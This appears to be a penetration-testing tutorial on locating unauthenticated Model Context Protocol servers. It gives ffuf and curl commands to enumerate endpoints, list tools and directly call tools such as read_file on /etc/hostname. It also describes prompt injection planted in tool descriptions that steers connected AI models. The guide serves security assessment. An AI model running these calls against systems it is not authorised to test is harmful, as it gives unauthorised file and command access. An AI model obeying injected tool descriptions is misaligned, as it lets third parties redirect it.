Skip to content
HackIndex logo

HackIndex

Identifying Exposed MCP Surfaces

1 min read Mar 18, 2026

The Model Context Protocol (MCP) is an open standard for connecting AI models to external tools and data sources. MCP servers expose tools that AI clients can discover and invoke. When MCP servers are exposed without authentication, or when their tool definitions contain vulnerabilities, they become direct attack surfaces — an attacker can invoke tools directly without going through the AI model at all, or can craft malicious tool descriptions that influence model behavior when the server is connected to a client.

Scan for Exposed MCP Server Endpoints

MCP servers typically expose an SSE endpoint for server-sent events and a POST endpoint for JSON-RPC messages. Scan for common MCP endpoint paths:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/mcp-paths.txt << 'EOF'
mcp
mcp/sse
mcp/messages
sse
api/mcp
api/mcp/sse
api/mcp/messages
api/v1/mcp
api/v1/mcp/sse
tools
api/tools
api/v1/tools
EOF
┌──(kali㉿kali)-[~]
└─$ ffuf -u https://$TARGET_DOMAIN/FUZZ -w /tmp/mcp-paths.txt -mc 200,400,401,403,405 -H 'Accept: text/event-stream'

A 200 response with Content-Type: text/event-stream confirms an SSE endpoint. An MCP SSE endpoint that responds without authentication is directly accessible for tool enumeration and invocation.

Enumerate Available Tools via MCP Initialize

Send an MCP initialize request to discover what tools the server exposes:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}' | python3 -m json.tool
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' | python3 -m json.tool 
{
    "result": {
        "tools": [
            {
                "name": "read_file",
                "description": "Read a file from the filesystem",
                "inputSchema": {"type":"object","properties":{"path":{"type":"string"}}}
            },
            {
                "name": "execute_command",
                "description": "Execute a shell command",
                "inputSchema": {"type":"object","properties":{"command":{"type":"string"}}}
            }
        ]
    }
}

A tools list response confirms the MCP server is accessible and enumerates every tool it exposes. Tools like execute_command, read_file, or database_query without authentication represent direct privilege escalation — you can invoke these tools without going through the AI model at all.

Test Direct Tool Invocation Without Authentication

Attempt to call an enumerated tool directly via the MCP protocol without authentication:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"read_file","arguments":{"path":"/etc/hostname"}}}' | python3 -m json.tool

A successful tool call result confirms unauthenticated direct tool invocation is possible. This bypasses the AI model entirely — the attacker is calling the underlying tool directly using the MCP protocol. The impact is equivalent to having direct access to whatever the tool provides.

Check for Prompt Injection in Tool Descriptions

MCP tool descriptions are injected into the AI model's context when a client connects. Malicious tool descriptions can influence model behavior. Check whether tool descriptions contain suspicious instructions:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' | python3 -c "import sys,json; d=json.load(sys.stdin); [print(t['name'],'\n',t['description'],'\n') for t in d.get('result',{}).get('tools',[])]"

Tool descriptions that contain instruction-like language, references to ignoring previous instructions, or unusual formatting targeting model behavior are indicators of a prompt injection via tool description attack — relevant when assessing third-party MCP servers that a target organization has connected to their AI client.

References